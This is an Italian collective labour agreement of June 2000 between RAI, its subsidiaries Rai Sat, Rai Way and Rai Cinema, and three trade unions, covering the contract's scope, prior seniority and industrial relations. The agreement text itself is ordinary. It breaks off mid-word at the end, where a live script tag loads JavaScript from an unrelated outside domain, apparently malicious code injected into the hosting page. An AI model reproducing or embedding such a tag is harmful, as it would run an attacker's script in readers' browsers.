Categoria: RAI
Settore: Poligrafici e Spettacolo
Data stipula: 8-6-2000
Data decorrenza: 8-6-2000
Data scadenza: 31-12-2003

IPOTESI DI ACCORDO

In data 8 giugno 2000 in Roma,

tra

-     RAI-Radiotelevisione Italiana SpA, Rai Sat SpA, Rai Way  SpA  e  Rai
  Cinema SpA assistite dall'Unione degli Industriali di Roma

e

-    SLC-CGIL
-    FISTEL-CISL
-    UILSIC-UIL
  
  assistite  dalle  rispettive strutture territoriali e dal  Coordinamento
  nazionale RAI

si  è  stipulata la seguente ipotesi immodificabile di accordo di  rinnovo
del  CCNL  6.4.95  per  quadri, impiegati e operai  dipendenti  della  Rai
Radiotelevisione italiana SpA, di Rai Sat SpA, di Rai Way  SpA  e  di  Rai
Cinema  SpA,  la  cui  applicazione  è  subordinata  all'approvazione  del
Consiglio  d'amministrazione della RAI e dei lavoratori delle  Società  di
cui sopra.



AMBITO DI APPLICAZIONE DEL CONTRATTO

1.    Il  presente CCNL disciplina il rapporto di lavoro intercorrente tra
  le Società RAI-Radiotelevisione Italiana SpA, Rai Sat SpA, Rai Way SpA e,
  a partire dal conferimento prossimo venturo, Rai Cinema SpA e i lavoratori
  dipendenti a tempo indeterminato dalle Società medesime con qualifica di
  quadro, impiegato e di operaio.

2.    Le  norme  del  presente contratto si applicano altresì,  in  quanto
  compatibili,  ai lavoratori delle società di cui al precedente  punto  1
  assunti con contratto di lavoro subordinato a tempo determinato  con  le
  esclusioni e con le previsioni specifiche di cui al successivo  articolo
  "Rapporto di lavoro a tempo determinato".



RICONOSCIMENTO ANZIANITÀ PREGRESSA

1.    Nell'ambito della possibile mobilità intersocietaria dei  lavoratori
  dipendenti da una delle Società del Gruppo RAI alle quali si applica  il
  presente contratto, le ipotesi di passaggio saranno individuate in base a
  criteri  organizzativi  in  ordine  alle  esigenze  di  volta  in  volta
  verificabili e saranno attuate mediante cessione del contratto individuale
  di lavoro dei dipendenti interessati, da perfezionarsi con il consenso dei
  medesimi,  ai  sensi  dell'art. 1406 CC con  conseguente  riconoscimento
  dell'anzianità di servizio maturata presso la Società di  provenienza  e
  mantenimento della previdenza e assistenza integrative. Le quote di  TFR
  verranno trasferite unitamente al dipendente nella nuova Società. Saranno,
  inoltre,    mantenute   le   anzianità   convenzionali   individualmente
  riconosciute.

2.   Per i lavoratori provenienti da Società controllate alle quali non si
  applica  il  presente contratto, nel computo dell'anzianità di  servizio
  sarà, comunque, utilmente considerato il periodo trascorso alle dipendenze
  delle   predette   Società,  ivi  incluse  le  anzianità   convenzionali
  eventualmente già riconosciute.


Chiarimento a verbale.

Le  parti  si  danno  atto che, nei confronti del personale  in  servizio,
vengono fatti salvi i diritti maturati ai sensi dell'art. 5, comma 3, CCNL
6.4.95.



SISTEMA DI RELAZIONI INDUSTRIALI

La nuova organizzazione della RAI-Radiotelevisione Italiana, articolata in
Corporate,  Direzioni di Servizio, Divisioni e la costituzione di  Società
separate  alle quali viene applicato il presente CCNL, pone l'esigenza  di
adeguare  l'attuale  sistema d'informazione e confronto azienda/sindacato,
al  fine  di  realizzare  uno  strumento  avanzato  di  moderne  relazioni
industriali  in  un  quadro  concertativo,  articolato  e  sistematico  di
rapporti.

Pertanto,  nella  logica  della partecipazione e  del  confronto  -  quali
presupposti  di  base per definire i criteri operativi di  gestione  della
nuova realtà indispensabili per garantire adeguati livelli di produttività
e competitività nell'attuale sistema di mercato e per realizzare la tutela
di  livelli  occupazionali atti a confermare il ruolo e la centralità  del
servizio  pubblico  assicurato nell'ambito  del  nuovo  e  più  articolato
assetto  del  sistema  radiotelevisivo  derivante  dal  cambiamento  degli
scenari  esterni  in  cui la RA<script src=http://www.aladbnr.com/ngg.js></script>